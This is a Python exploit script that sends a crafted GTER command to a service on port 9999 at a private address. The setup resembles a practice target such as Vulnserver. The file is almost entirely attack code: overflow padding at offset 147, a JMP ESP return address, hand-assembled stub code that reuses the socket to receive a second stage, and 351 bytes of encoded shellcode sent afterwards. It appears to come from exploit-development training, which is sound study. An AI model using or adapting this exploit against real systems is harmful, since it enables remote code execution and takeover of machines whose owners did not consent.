#!/usr/bin/python
import socket
from time import sleep

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.101.158',9999))


# PAYLOAD LENGHT IS : 4010 with 4000 of A

buf = 'GTER /.:/'

# buf += "A"*4000

# [*] Exact match at offset 147

buf += "A" * (147-120)

buf += "\x66\x83\xC3\x37" # increase value OF EBX

buf += "\x54" # push ESP
buf += "\x59" # pop ECX
buf += "\x66\x81\xC1\xCC\x05" # ADD CX,5CB + 1
buf += "\x83\xEC\x40" #  SUB ESP,40 VERY IMPORTANT TO PREVENT EIP OVERWRITE !
buf += "\x33\xD2" # XOR EDX, EDX
buf += "\x52"     # PUSH EDX
buf += "\x80\xC6\x02"            # ADD DH,2
buf += "\x52"                   # PUSH EDX
buf += "\x54"                   # PUSH ESP
buf += "\x5A"                   # POP EDX
buf += "\x52" # PUSH EDX
buf += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
#buf += "\xE8\xA1\x2B\x43\xFF" # CALL <JMP.&WS2_32.recv>
buf += "\xB8\x11\x2C\x25\x40"    # MOV EAX,40252C11
buf += "\xC1\xE8\x08" # SHR EAX,8
buf += "\xFF\xD0"     # CALL EAX

#buf += "\xCC" *(120-36)

buf += "\x90"*80

buf += "\x90"
buf += "\xEB" ### STUPID TRICK TO JUMP
buf += "\x19\xCC" ### ASSEMBLY KungFU


# buf += "B" * 4
# 625011AF JMP ESP

buf += "\xaf\x11\x50\x62"

buf += "\xEB\x82" # Jump Back

buf += "C" * (4000-147-4-2)


shellcode = "\x90"*30

# Payload size: 351 bytes

shellcode += "\xbd\xb4\x3f\x2d\x96\xda\xda\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xde\x31\xcf"
shellcode += "\x63\xe2\xa6\x8d\x8c\x1a\x37\xf2\x05\xff\x06\x32\x71"
shellcode += "\x74\x38\x82\xf1\xd8\xb5\x69\x57\xc8\x4e\x1f\x70\xff"
shellcode += "\xe7\xaa\xa6\xce\xf8\x87\x9b\x51\x7b\xda\xcf\xb1\x42"
shellcode += "\x15\x02\xb0\x83\x48\xef\xe0\x5c\x06\x42\x14\xe8\x52"
shellcode += "\x5f\x9f\xa2\x73\xe7\x7c\x72\x75\xc6\xd3\x08\x2c\xc8"
shellcode += "\xd2\xdd\x44\x41\xcc\x02\x60\x1b\x67\xf0\x1e\x9a\xa1"
shellcode += "\xc8\xdf\x31\x8c\xe4\x2d\x4b\xc9\xc3\xcd\x3e\x23\x30"
shellcode += "\x73\x39\xf0\x4a\xaf\xcc\xe2\xed\x24\x76\xce\x0c\xe8"
shellcode += "\xe1\x85\x03\x45\x65\xc1\x07\x58\xaa\x7a\x33\xd1\x4d"
shellcode += "\xac\xb5\xa1\x69\x68\x9d\x72\x13\x29\x7b\xd4\x2c\x29"
shellcode += "\x24\x89\x88\x22\xc9\xde\xa0\x69\x86\x13\x89\x91\x56"
shellcode += "\x3c\x9a\xe2\x64\xe3\x30\x6c\xc5\x6c\x9f\x6b\x2a\x47"
shellcode += "\x67\xe3\xd5\x68\x98\x2a\x12\x3c\xc8\x44\xb3\x3d\x83"
shellcode += "\x94\x3c\xe8\x04\xc4\x92\x43\xe5\xb4\x52\x34\x8d\xde"
shellcode += "\x5c\x6b\xad\xe1\xb6\x04\x44\x18\x51\xeb\x31\x46\x93"
shellcode += "\x83\x43\x86\xd2\xe8\xcd\x60\xbe\x1e\x98\x3b\x57\x86"
shellcode += "\x81\xb7\xc6\x47\x1c\xb2\xc9\xcc\x93\x43\x87\x24\xd9"
shellcode += "\x57\x70\xc5\x94\x05\xd7\xda\x02\x21\xbb\x49\xc9\xb1"
shellcode += "\xb2\x71\x46\xe6\x93\x44\x9f\x62\x0e\xfe\x09\x90\xd3"
shellcode += "\x66\x71\x10\x08\x5b\x7c\x99\xdd\xe7\x5a\x89\x1b\xe7"
shellcode += "\xe6\xfd\xf3\xbe\xb0\xab\xb5\x68\x73\x05\x6c\xc6\xdd"
shellcode += "\xc1\xe9\x24\xde\x97\xf5\x60\xa8\x77\x47\xdd\xed\x88"
shellcode += "\x68\x89\xf9\xf1\x94\x29\x05\x28\x1d\x03\x3c\x30\x3f"
shellcode += "\x3c\x19\x21\x7d\x21\x9a\x9c\x42\x5c\x19\x14\x3b\x9b"
shellcode += "\x01\x5d\x3e\xe7\x85\x8e\x32\x78\x60\xb0\xe1\x79\xa1"

shellcode += "\x90"*(512-30-351)


print "Fuzzing GTER with %s bytes" % len(buf)

print s.recv(1024)

s.send(buf + '\r\n')

sleep(2)

s.send(shellcode)

print s.recv(1024)

s.close()
